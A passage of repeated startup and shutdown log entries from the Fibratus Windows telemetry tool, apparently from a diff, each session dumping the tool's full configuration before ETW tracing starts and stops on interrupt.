enabled=>true]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>false] + event .......................... [ serialize-handles=>false serialize-envs=>true serialize-pe=>false serialize-threads=>false serialize-images=>false] + eventsource .................... [ enable-thread=>true enable-fileio=>true enable-net=>true enable-vamap=>true blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] min-buffers=>16 flush-interval=>1s enable-image=>true enable-registry=>true enable-handle=>false enable-audit-api=>true enable-dns=>false buffer-size=>512 enable-mem=>false enable-threadpool=>false max-buffers=>36 stack-enrichment=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true rules=>[ enabled=>true from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\*.yml]]] + forward ........................ true + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ log-stdout=>true max-backups=>15 max-size=>100 formatter=>text max-age=>0 level=>info] + output ......................... [ amqp=>[ passive=>false delivery-mode=>transient url=>amqp://localhost:5672 routing-key=>fibratus exchange-type=>topic enabled=>false vhost=>/ exchange=>fibratus durable=>false timeout=>5s tls-insecure-skip-verify=>false] eventlog=>[ level=>info enabled=>false] http=>[ timeout=>5s endpoints=>[] method=>POST serializer=>json enabled=>false tls-insecure-skip-verify=>false enable-gzip=>false] console=>[ format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} + enabled=>true] elasticsearch=>[ sniff=>false timeout=>5s template-name=>fibratus healthcheck-timeout=>5s enabled=>false bulk-workers=>1 flush-period=>1s gzip-compression=>false index-name=>fibratus healthcheck=>true trace-log=>false servers=>[http://127.0.0.1:9200] healthcheck-interval=>10s]] + pe ............................. [ enabled=>false read-symbols=>false excluded-images=>[svchost.exe] read-sections=>false read-resources=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ tags=>[ enabled=>false] rename=>[ enabled=>false] trim=>[ enabled=>false] replace=>[ enabled=>false] remove=>[ enabled=>false params=>[]]] + yara ........................... [ enabled=>false skip-files=>false skip-allocs=>false excluded-procs=>[] fastscan=>true skip-registry=>false skip-mmaps=>false rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] excluded-files=>[] scan-timeout=>10s] source=bootstrap/bootstrap.go:185 +time=2025-11-03T22:24:58+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-03T22:25:00+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-03T22:25:13+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-03T22:25:13+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-03T22:25:13+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-03T22:28:52+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-03T22:28:52+01:00 level=info msg=bootstrapping with pid 17604. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-03T22:28:52+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ slack=>[ enabled=>false] systray=>[ sound=>true enabled=>false quiet-mode=>false] eventlog=>[ verbose=>true enabled=>true] mail=>[ use-template=>true content-type=>text/html to=>[] port=>25 enabled=>false]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>false enable-direct-syscall=>true] + event .......................... [ serialize-threads=>false serialize-pe=>false serialize-envs=>true serialize-images=>false serialize-handles=>false] + eventsource .................... [ enable-handle=>false enable-dns=>false enable-threadpool=>false enable-image=>true enable-mem=>false blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] max-buffers=>36 enable-registry=>true stack-enrichment=>true buffer-size=>512 enable-net=>true enable-audit-api=>true enable-fileio=>true flush-interval=>1s min-buffers=>16 enable-thread=>true enable-vamap=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ enabled=>true from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\*.yml]] match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ true + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ max-size=>100 max-backups=>15 log-stdout=>true max-age=>0 level=>info formatter=>text] + output ......................... [ eventlog=>[ enabled=>false level=>info] elasticsearch=>[ bulk-workers=>1 trace-log=>false index-name=>fibratus healthcheck-interval=>10s healthcheck-timeout=>5s gzip-compression=>false flush-period=>1s timeout=>5s healthcheck=>true sniff=>false servers=>[http://127.0.0.1:9200] template-name=>fibratus enabled=>false] http=>[ enabled=>false endpoints=>[] serializer=>json timeout=>5s enable-gzip=>false method=>POST tls-insecure-skip-verify=>false] console=>[ enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} + format=>pretty] amqp=>[ routing-key=>fibratus vhost=>/ url=>amqp://localhost:5672 exchange=>fibratus timeout=>5s enabled=>false passive=>false tls-insecure-skip-verify=>false delivery-mode=>transient exchange-type=>topic durable=>false]] + pe ............................. [ read-symbols=>false enabled=>false read-resources=>false excluded-images=>[svchost.exe] read-sections=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ rename=>[ enabled=>false] remove=>[ params=>[] enabled=>false] trim=>[ enabled=>false] tags=>[ enabled=>false] replace=>[ enabled=>false]] + yara ........................... [ fastscan=>true skip-registry=>false excluded-procs=>[] rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] skip-allocs=>false skip-files=>false enabled=>false excluded-files=>[] skip-mmaps=>false scan-timeout=>10s] source=bootstrap/bootstrap.go:185 +time=2025-11-03T22:28:52+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-03T22:28:54+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-03T22:29:06+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-03T22:29:06+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-03T22:29:07+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-03T22:33:44+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-03T22:33:44+01:00 level=info msg=bootstrapping with pid 19768. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-03T22:33:44+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ systray=>[ quiet-mode=>false sound=>true enabled=>false] eventlog=>[ verbose=>true enabled=>true] mail=>[ content-type=>text/html port=>25 to=>[] enabled=>false use-template=>true] slack=>[ enabled=>false]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>false enable-direct-syscall=>true] + event .......................... [ serialize-pe=>false serialize-envs=>true serialize-threads=>false serialize-handles=>false serialize-images=>false] + eventsource .................... [ enable-dns=>false enable-threadpool=>false blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] buffer-size=>512 enable-thread=>true enable-fileio=>true max-buffers=>36 enable-image=>true enable-audit-api=>true enable-vamap=>true flush-interval=>1s enable-registry=>true min-buffers=>16 enable-net=>true enable-mem=>false enable-handle=>false stack-enrichment=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\*.yml] from-urls=>[]] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true] + forward ........................ true + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ max-size=>100 max-backups=>15 formatter=>text level=>info max-age=>0 log-stdout=>true] + output ......................... [ console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} + format=>pretty enabled=>true] amqp=>[ tls-insecure-skip-verify=>false timeout=>5s url=>amqp://localhost:5672 routing-key=>fibratus passive=>false durable=>false delivery-mode=>transient exchange-type=>topic vhost=>/ exchange=>fibratus enabled=>false] elasticsearch=>[ healthcheck-interval=>10s healthcheck-timeout=>5s flush-period=>1s template-name=>fibratus healthcheck=>true trace-log=>false sniff=>false enabled=>false timeout=>5s gzip-compression=>false index-name=>fibratus bulk-workers=>1 servers=>[http://127.0.0.1:9200]] http=>[ enable-gzip=>false method=>POST serializer=>json enabled=>false timeout=>5s endpoints=>[] tls-insecure-skip-verify=>false] eventlog=>[ level=>info enabled=>false]] + pe ............................. [ read-symbols=>false enabled=>false read-resources=>false read-sections=>false excluded-images=>[svchost.exe]] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ trim=>[ enabled=>false] remove=>[ enabled=>false params=>[]] tags=>[ enabled=>false] rename=>[ enabled=>false] replace=>[ enabled=>false]] + yara ........................... [ scan-timeout=>10s enabled=>false skip-registry=>false skip-allocs=>false skip-mmaps=>false excluded-files=>[] skip-files=>false excluded-procs=>[] rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] fastscan=>true] source=bootstrap/bootstrap.go:185 +time=2025-11-03T22:33:45+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-03T22:33:46+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-03T22:34:28+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-03T22:34:28+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-03T22:34:29+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-03T22:42:22+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-03T22:42:22+01:00 level=info msg=bootstrapping with pid 852. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-03T22:42:22+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ slack=>[ enabled=>false] eventlog=>[ verbose=>true enabled=>true] systray=>[ sound=>true quiet-mode=>false enabled=>false] mail=>[ to=>[] port=>25 use-template=>true enabled=>false content-type=>text/html]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>false enable-direct-syscall=>true] + event .......................... [ serialize-envs=>true serialize-threads=>false serialize-handles=>false serialize-images=>false serialize-pe=>false] + eventsource .................... [ buffer-size=>512 blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] flush-interval=>1s stack-enrichment=>true enable-registry=>true enable-fileio=>true enable-mem=>false enable-handle=>false enable-dns=>false enable-net=>true min-buffers=>16 enable-image=>true enable-audit-api=>true max-buffers=>36 enable-threadpool=>false enable-thread=>true enable-vamap=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] rules=>[ enabled=>true from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\*.yml]]] + forward ........................ true + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ max-backups=>15 max-age=>0 max-size=>100 level=>info log-stdout=>true formatter=>text] + output ......................... [ http=>[ timeout=>5s method=>POST enable-gzip=>false serializer=>json enabled=>false endpoints=>[] tls-insecure-skip-verify=>false] amqp=>[ passive=>false delivery-mode=>transient exchange-type=>topic routing-key=>fibratus durable=>false tls-insecure-skip-verify=>false enabled=>false timeout=>5s vhost=>/ exchange=>fibratus url=>amqp://localhost:5672] elasticsearch=>[ index-name=>fibratus flush-period=>1s timeout=>5s healthcheck-interval=>10s template-name=>fibratus healthcheck=>true trace-log=>false sniff=>false healthcheck-timeout=>5s enabled=>false gzip-compression=>false bulk-workers=>1 servers=>[http://127.0.0.1:9200]] console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} + enabled=>true format=>pretty] eventlog=>[ level=>info enabled=>false]] + pe ............................. [ read-resources=>false excluded-images=>[svchost.exe] read-sections=>false read-symbols=>false enabled=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ replace=>[ enabled=>false] tags=>[ enabled=>false] rename=>[ enabled=>false] remove=>[ params=>[] enabled=>false] trim=>[ enabled=>false]] + yara ........................... [ skip-allocs=>false fastscan=>true excluded-files=>[] skip-registry=>false skip-mmaps=>false scan-timeout=>10s rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] enabled=>false excluded-procs=>[] skip-files=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-03T22:42:22+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-03T22:42:24+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-03T22:42:59+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-03T22:42:59+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-03T22:43:00+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-03T22:43:51+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-03T22:43:51+01:00 level=info msg=bootstrapping with pid 6468. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-03T22:43:51+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ mail=>[ content-type=>text/html port=>25 enabled=>false use-template=>true to=>[]] slack=>[ enabled=>false] eventlog=>[ enabled=>true verbose=>true] systray=>[ sound=>true quiet-mode=>false enabled=>false]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>false enable-direct-syscall=>true] + event .......................... [ serialize-pe=>false serialize-handles=>false serialize-envs=>true serialize-images=>false serialize-threads=>false] + eventsource .................... [ min-buffers=>16 buffer-size=>512 flush-interval=>1s enable-audit-api=>true blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-thread=>true enable-fileio=>true max-buffers=>36 enable-vamap=>true enable-net=>true enable-mem=>false enable-image=>true enable-dns=>false enable-handle=>false enable-registry=>true stack-enrichment=>true enable-threadpool=>false] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ match-all=>true rules=>[ from-urls=>[] enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\*.yml]] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ true + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ max-age=>0 formatter=>text level=>info log-stdout=>true max-backups=>15 max-size=>100] + output ......................... [ http=>[ enable-gzip=>false enabled=>false endpoints=>[] timeout=>5s method=>POST serializer=>json tls-insecure-skip-verify=>false] amqp=>[ passive=>false routing-key=>fibratus vhost=>/ delivery-mode=>transient enabled=>false exchange-type=>topic exchange=>fibratus url=>amqp://localhost:5672 durable=>false timeout=>5s tls-insecure-skip-verify=>false] eventlog=>[ level=>info enabled=>false] elasticsearch=>[ gzip-compression=>false servers=>[http://127.0.0.1:9200] bulk-workers=>1 flush-period=>1s healthcheck=>true index-name=>fibratus healthcheck-timeout=>5s enabled=>false timeout=>5s trace-log=>false sniff=>false healthcheck-interval=>10s template-name=>fibratus] console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} + format=>pretty enabled=>true]] + pe ............................. [ read-sections=>false enabled=>false read-symbols=>false read-resources=>false excluded-images=>[svchost.exe]] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ rename=>[ enabled=>false] remove=>[ params=>[] enabled=>false] replace=>[ enabled=>false] tags=>[ enabled=>false] trim=>[ enabled=>false]] + yara ........................... [ excluded-files=>[] enabled=>false skip-allocs=>false fastscan=>true scan-timeout=>10s skip-registry=>false excluded-procs=>[] skip-files=>false rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] skip-mmaps=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-03T22:43:51+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-03T22:43:53+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-03T22:45:21+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-03T22:45:21+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-03T22:45:22+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-03T22:46:00+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-03T22:46:00+01:00 level=info msg=bootstrapping with pid 11888. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-03T22:46:00+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ slack=>[ enabled=>false] mail=>[ use-template=>true enabled=>false content-type=>text/html port=>25 to=>[]] systray=>[ enabled=>false sound=>true quiet-mode=>false] eventlog=>[ enabled=>true verbose=>true]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>false enable-direct-syscall=>true] + event .......................... [ serialize-threads=>false serialize-handles=>false serialize-pe=>false serialize-envs=>true serialize-images=>false] + eventsource .................... [ max-buffers=>36 blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-mem=>false enable-threadpool=>false buffer-size=>512 enable-net=>true stack-enrichment=>true min-buffers=>16 enable-dns=>false flush-interval=>1s enable-fileio=>true enable-audit-api=>true enable-image=>true enable-thread=>true enable-registry=>true enable-vamap=>true enable-handle=>false] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] rules=>[ enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\*.yml] from-urls=>[]] match-all=>true] + forward ........................ true + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ max-backups=>15 max-size=>100 max-age=>0 formatter=>text level=>info log-stdout=>true] + output ......................... [ elasticsearch=>[ flush-period=>1s trace-log=>false gzip-compression=>false sniff=>false bulk-workers=>1 index-name=>fibratus timeout=>5s healthcheck=>true servers=>[http://127.0.0.1:9200] healthcheck-interval=>10s template-name=>fibratus healthcheck-timeout=>5s enabled=>false] console=>[ enabled=>true format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} +] eventlog=>[ enabled=>false level=>info] http=>[ method=>POST enable-gzip=>false tls-insecure-skip-verify=>false timeout=>5s endpoints=>[] enabled=>false serializer=>json] amqp=>[ url=>amqp://localhost:5672 delivery-mode=>transient vhost=>/ timeout=>5s passive=>false durable=>false tls-insecure-skip-verify=>false routing-key=>fibratus exchange-type=>topic exchange=>fibratus enabled=>false]] + pe ............................. [ read-symbols=>false excluded-images=>[svchost.exe] enabled=>false read-sections=>false read-resources=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ trim=>[ enabled=>false] remove=>[ params=>[] enabled=>false] rename=>[ enabled=>false] replace=>[ enabled=>false] tags=>[ enabled=>false]] + yara ........................... [ skip-allocs=>false skip-registry=>false rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] excluded-files=>[] skip-mmaps=>false scan-timeout=>10s enabled=>false skip-files=>false fastscan=>true excluded-procs=>[]] source=bootstrap/bootstrap.go:185 +time=2025-11-03T22:46:01+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-03T22:46:02+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-03T22:46:44+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-03T22:46:44+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-03T22:46:44+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-03T22:49:58+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-03T22:49:58+01:00 level=info msg=bootstrapping with pid 7688. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-03T22:49:58+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ systray=>[ sound=>true quiet-mode=>false enabled=>false] eventlog=>[ verbose=>true enabled=>true] mail=>[ use-template=>true enabled=>false port=>25 to=>[] content-type=>text/html] slack=>[ enabled=>false]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>false enable-direct-syscall=>true] + event .......................... [ serialize-envs=>true serialize-images=>false serialize-handles=>false serialize-threads=>false serialize-pe=>false] + eventsource .................... [ enable-vamap=>true enable-thread=>true enable-net=>true min-buffers=>16 enable-audit-api=>true blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] stack-enrichment=>true buffer-size=>512 enable-threadpool=>false enable-registry=>true flush-interval=>1s enable-fileio=>true max-buffers=>36 enable-mem=>false enable-image=>true enable-dns=>false enable-handle=>false] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ match-all=>true rules=>[ enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\*.yml] from-urls=>[]] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ true + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ formatter=>text log-stdout=>true max-age=>0 level=>info max-backups=>15 max-size=>100] + output ......................... [ elasticsearch=>[ bulk-workers=>1 index-name=>fibratus template-name=>fibratus healthcheck-interval=>10s healthcheck-timeout=>5s sniff=>false healthcheck=>true enabled=>false gzip-compression=>false flush-period=>1s trace-log=>false timeout=>5s servers=>[http://127.0.0.1:9200]] eventlog=>[ enabled=>false level=>info] http=>[ endpoints=>[] tls-insecure-skip-verify=>false method=>POST enable-gzip=>false serializer=>json timeout=>5s enabled=>false] console=>[ enabled=>true format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} +] amqp=>[ timeout=>5s tls-insecure-skip-verify=>false passive=>false enabled=>false delivery-mode=>transient exchange-type=>topic routing-key=>fibratus vhost=>/ url=>amqp://localhost:5672 durable=>false exchange=>fibratus]] + pe ............................. [ read-symbols=>false enabled=>false read-resources=>false excluded-images=>[svchost.exe] read-sections=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ remove=>[ params=>[] enabled=>false] trim=>[ enabled=>false] replace=>[ enabled=>false] tags=>[ enabled=>false] rename=>[ enabled=>false]] + yara ........................... [ scan-timeout=>10s skip-registry=>false skip-allocs=>false skip-mmaps=>false fastscan=>true skip-files=>false excluded-files=>[] rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] excluded-procs=>[] enabled=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-03T22:49:58+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-03T22:50:00+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-03T22:50:37+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-03T22:50:37+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-03T22:50:38+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-03T22:52:12+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-03T22:52:12+01:00 level=info msg=bootstrapping with pid 18580. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-03T22:52:12+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ mail=>[ enabled=>false port=>25 content-type=>text/html use-template=>true to=>[]] slack=>[ enabled=>false] systray=>[ enabled=>false quiet-mode=>false sound=>true] eventlog=>[ verbose=>true enabled=>true]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>false enable-direct-syscall=>true] + event .......................... [ serialize-handles=>false serialize-threads=>false serialize-pe=>false serialize-envs=>true serialize-images=>false] + eventsource .................... [ stack-enrichment=>true blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-dns=>false enable-net=>true enable-mem=>false flush-interval=>1s enable-registry=>true enable-fileio=>true enable-thread=>true enable-handle=>false enable-threadpool=>false max-buffers=>36 enable-image=>true enable-vamap=>true min-buffers=>16 enable-audit-api=>true buffer-size=>512] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true rules=>[ enabled=>true from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\*.yml]]] + forward ........................ true + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ formatter=>text level=>info max-age=>0 max-size=>100 max-backups=>15 log-stdout=>true] + output ......................... [ amqp=>[ durable=>false enabled=>false passive=>false tls-insecure-skip-verify=>false url=>amqp://localhost:5672 routing-key=>fibratus vhost=>/ exchange-type=>topic exchange=>fibratus delivery-mode=>transient timeout=>5s] console=>[ format=>pretty enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} +] elasticsearch=>[ flush-period=>1s servers=>[http://127.0.0.1:9200] enabled=>false healthcheck-timeout=>5s template-name=>fibratus healthcheck=>true bulk-workers=>1 gzip-compression=>false healthcheck-interval=>10s timeout=>5s index-name=>fibratus trace-log=>false sniff=>false] http=>[ method=>POST tls-insecure-skip-verify=>false serializer=>json enable-gzip=>false endpoints=>[] timeout=>5s enabled=>false] eventlog=>[ enabled=>false level=>info]] + pe ............................. [ excluded-images=>[svchost.exe] read-symbols=>false enabled=>false read-resources=>false read-sections=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ rename=>[ enabled=>false] trim=>[ enabled=>false] tags=>[ enabled=>false] remove=>[ params=>[] enabled=>false] replace=>[ enabled=>false]] + yara ........................... [ excluded-files=>[] excluded-procs=>[] rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] fastscan=>true skip-mmaps=>false scan-timeout=>10s skip-files=>false skip-registry=>false skip-allocs=>false enabled=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-03T22:52:12+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-03T22:52:13+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-03T22:52:14+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-03T22:52:14+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-03T22:52:15+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-03T22:52:28+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-03T22:52:28+01:00 level=info msg=bootstrapping with pid 3204. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-03T22:52:28+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ systray=>[ enabled=>false sound=>true quiet-mode=>false] slack=>[ enabled=>false] eventlog=>[ enabled=>true verbose=>true] mail=>[ to=>[] port=>25 enabled=>false content-type=>text/html use-template=>true]] + api ............................ [ 